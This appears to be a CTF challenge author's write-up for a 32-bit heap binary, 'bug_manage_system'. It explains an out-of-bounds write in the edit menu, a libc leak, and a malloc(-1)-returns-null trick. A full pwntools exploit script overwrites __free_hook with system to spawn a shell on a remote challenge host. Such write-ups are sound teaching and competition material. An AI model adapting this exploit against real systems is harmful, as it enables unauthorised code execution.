description : show me the bug!
first, let's know about protection technique in this challenge.
mostly protection techniques are enabled (nx, canary, pie, full relro).
this binary is managing bug with linked list data structure.
it has bug structure, structure likes this:
typedef struct bug {
char bug_used;
size_t bug_idx;
char bug_name[32];
size_t bug_size;
size_t dummy;
char* bug_content;
struct bug* next;
} _bug;
and this binary has 4 menu.
- add bug
- show bug
- edit bug
- delete bug
vulnerability is in edit_bug menu.
above shows out of bound vuln.
we can change 4 bytes from content area.
and we can also leak libc address from unsorted bin.
because binary can not initialize new bug_content buffer.
and i did not intend to heap address leak.
i used random padding when call malloc and i used null dummy in bug structure.
but GoN did heap address leaking T.T (uninteded)
Anyway, if we could not leak heap address, how we can exploit?
we can write 4 bytes from content area, but content area in heap and we do not know heap address.
my intended solution was to make malloc returns null.
in 32bit system, if we malloc -1 byte, it convert to 0xffffffff and it is too big size.
so, malloc returns null.
then, bug_content points to null and if we know libc address, we can write system address in __free_hook address.
this is my exploit code.
from pwn import *
r = None
def add_bug(name, size, content):
global r
r.sendlineafter("choice : ", str(1))
r.sendlineafter("name? : ", name)
r.sendlineafter("size? : ", str(size))
r.sendlineafter("content? : ", content)
def view_bug():
global r
r.sendlineafter("choice : ", str(2))
def edit_bug(idx, choice, name=None, size=None, where=None, what=None):
global r
r.sendlineafter("choice : ", str(3))
sleep(3)
r.sendlineafter("idx? : ", str(idx))
r.sendlineafter("choice : ", str(choice))
if choice == 1:
r.sendlineafter("name? : ", name)
elif choice == 2:
r.sendlineafter("size? : ", str(size))
elif choice == 3:
r.sendlineafter("change? : ", str(where))
r.sendlineafter("change? : ", what)
def delete_bug(idx):
global r
r.sendlineafter("choice : ", str(4))
r.sendlineafter("idx? : ", str(idx))
def main():
global r
filename = "./bug_manage_system"
r = remote("13.113.134.180", 1337)
# r = process("./bug_manage_system")
# libc = ELF("./libc.so.6")
# raw_input("$ ")
add_bug("5unKn0wn", 500, "5unKn0wn")
add_bug("5unKn0wn", 72, "5unKn0wn")
add_bug("5unKn0wn", 500, "/bin/sh;")
delete_bug(2)
delete_bug(1)
add_bug("5unKn0wn", 500, "AAA")
view_bug()
r.recvuntil("A\n")
libc_base = u32(r.recv(4)) - 0x1b09a0
if (libc_base & 0xfff) != 0:
print "rand fail"
r.close()
main()
exit()
system = libc_base + 0x0003a940 # libc.functions['system'].address
free_hook = libc_base + 0x01B18B0 # libc.symbols['__free_hook']
log.info("libc_base : " + hex(libc_base))
add_bug("5unKn0wn", -1, "songsong")
r.recvuntil("that's nono~~")
# raw_input("$ ")
edit_bug(5, 3, where=-((-free_hook) & 0xffffffff), what=p32(system))
delete_bug(3)
r.interactive()
main()
if we run above exloit code, we can get shell.
and flag is SECU[n0t_h3ap_expl0it,_just_nu11_der3fer3nce]
thanks for GoN and 217.